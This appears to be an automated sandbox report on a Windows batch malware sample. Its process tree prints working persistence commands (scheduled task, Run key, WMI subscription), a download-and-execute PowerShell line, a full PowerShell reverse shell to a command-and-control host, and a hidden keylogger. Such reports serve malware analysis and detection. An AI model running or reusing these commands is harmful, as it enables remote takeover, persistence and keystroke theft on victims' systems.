76f090622c4673e63ce090a764d3a0e1f379c82c90806181be6d9abc78b98ed9

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:20

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General

Target
rat_build_99267_014314.bat
Size 4KB
Sample260529-183mlacw2k
SHA256 76f090622c4673e63ce090a764d3a0e1f379c82c90806181be6d9abc78b98ed9
MD5 ba7757d8c050d185650d79e48535a6cd
SHA1 80a6d6dd96826f1b3e074453e7263f00940300c2
SHA512 4a9becf8d366031013ea63d9086ab8a5591cfe0429aec1debe4fa4b9714f83b1db3468965ff2183fc07824e5e859d0cc73f56f8a5557cefd0bb9eef077dc7fd9
SSDEEP 96:xIR3WUK73xLFGlBxII8gJbiWA1QJZABgRXniFgZk8mvlo1Ua:x5UK7DGvxojWiaABIiFgkHlVa
TLSH
T11CA1C8136797722095F52658E933385057ECDAFB1304DE8EFE89CDC90A0CE4795689D3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_99267.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2456	powershell.exe
240	powershell.exe
3644	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_99267 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_99267.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4092	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4280	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4180	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1456	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2456	powershell.exe
2456	powershell.exe
240	powershell.exe
240	powershell.exe
3644	powershell.exe
3644	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1164	WMIC.exe
Token: SeSecurityPrivilege	1164	WMIC.exe
Token: SeTakeOwnershipPrivilege	1164	WMIC.exe
Token: SeLoadDriverPrivilege	1164	WMIC.exe
Token: SeSystemProfilePrivilege	1164	WMIC.exe
Token: SeSystemtimePrivilege	1164	WMIC.exe
Token: SeProfSingleProcessPrivilege	1164	WMIC.exe
Token: SeIncBasePriorityPrivilege	1164	WMIC.exe
Token: SeCreatePagefilePrivilege	1164	WMIC.exe
Token: SeBackupPrivilege	1164	WMIC.exe
Token: SeRestorePrivilege	1164	WMIC.exe
Token: SeShutdownPrivilege	1164	WMIC.exe
Token: SeDebugPrivilege	1164	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1164	WMIC.exe
Token: SeRemoteShutdownPrivilege	1164	WMIC.exe
Token: SeUndockPrivilege	1164	WMIC.exe
Token: SeManageVolumePrivilege	1164	WMIC.exe
Token: 33	1164	WMIC.exe
Token: 34	1164	WMIC.exe
Token: 35	1164	WMIC.exe
Token: 36	1164	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1164	WMIC.exe
Token: SeSecurityPrivilege	1164	WMIC.exe
Token: SeTakeOwnershipPrivilege	1164	WMIC.exe
Token: SeLoadDriverPrivilege	1164	WMIC.exe
Token: SeSystemProfilePrivilege	1164	WMIC.exe
Token: SeSystemtimePrivilege	1164	WMIC.exe
Token: SeProfSingleProcessPrivilege	1164	WMIC.exe
Token: SeIncBasePriorityPrivilege	1164	WMIC.exe
Token: SeCreatePagefilePrivilege	1164	WMIC.exe
Token: SeBackupPrivilege	1164	WMIC.exe
Token: SeRestorePrivilege	1164	WMIC.exe
Token: SeShutdownPrivilege	1164	WMIC.exe
Token: SeDebugPrivilege	1164	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1164	WMIC.exe
Token: SeRemoteShutdownPrivilege	1164	WMIC.exe
Token: SeUndockPrivilege	1164	WMIC.exe
Token: SeManageVolumePrivilege	1164	WMIC.exe
Token: 33	1164	WMIC.exe
Token: 34	1164	WMIC.exe
Token: 35	1164	WMIC.exe
Token: 36	1164	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2576	WMIC.exe
Token: SeSecurityPrivilege	2576	WMIC.exe
Token: SeTakeOwnershipPrivilege	2576	WMIC.exe
Token: SeLoadDriverPrivilege	2576	WMIC.exe
Token: SeSystemProfilePrivilege	2576	WMIC.exe
Token: SeSystemtimePrivilege	2576	WMIC.exe
Token: SeProfSingleProcessPrivilege	2576	WMIC.exe
Token: SeIncBasePriorityPrivilege	2576	WMIC.exe
Token: SeCreatePagefilePrivilege	2576	WMIC.exe
Token: SeBackupPrivilege	2576	WMIC.exe
Token: SeRestorePrivilege	2576	WMIC.exe
Token: SeShutdownPrivilege	2576	WMIC.exe
Token: SeDebugPrivilege	2576	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2576	WMIC.exe
Token: SeRemoteShutdownPrivilege	2576	WMIC.exe
Token: SeUndockPrivilege	2576	WMIC.exe
Token: SeManageVolumePrivilege	2576	WMIC.exe
Token: 33	2576	WMIC.exe
Token: 34	2576	WMIC.exe
Token: 35	2576	WMIC.exe
Token: 36	2576	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2576	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5020 wrote to memory of 1456	5020	cmd.exe	81
PID 5020 wrote to memory of 4180	5020	cmd.exe	82
PID 5020 wrote to memory of 1164	5020	cmd.exe	83
PID 5020 wrote to memory of 2576	5020	cmd.exe	84
PID 5020 wrote to memory of 3320	5020	cmd.exe	85
PID 5020 wrote to memory of 4280	5020	cmd.exe	87
PID 5020 wrote to memory of 4092	5020	cmd.exe	90
PID 5020 wrote to memory of 2456	5020	cmd.exe	91
PID 5020 wrote to memory of 240	5020	cmd.exe	92
PID 5020 wrote to memory of 3644	5020	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_99267_014314.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5020
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_99267" /tr "C:\Users\Admin\AppData\Local\Temp\_99267.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1456
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_99267" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_99267.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4180
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_99267", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1164
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_99267", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_99267.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2576
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_99267.txt
  2⤵
  PID:3320
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4280
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_99267.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3644

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
MD5 a766b59cb8764029e0daa42ff2d21c3f
SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
TLSH
T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a2f2f0033d120152c7f43db61e5867c538be686267424e37ebf1f81c2108c41f
MD5 efbdcb1e96c21b1fa3a8ee282decfaa7
SHA1 4b29742350c7851853767013e11d09fb954063ac
SHA512 8e88e8ff7da00f85b2f2840a94eca8f75f425c8058a6cc86a1681784e5b0370369560a04320dc747602e3fefed9b5af750afef52bcc137944999c1c4f5e8a808
TLSH
T104117A33B79CC175C8E9117A108DAD01B1B5C3DB049EDE8B7A84C508E57F58ADBA41E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_nxni0pb0.ybe.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nxni0pb0.ybe.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2456-9-0x00000183E9760000-0x00000183E9782000-memory.dmp

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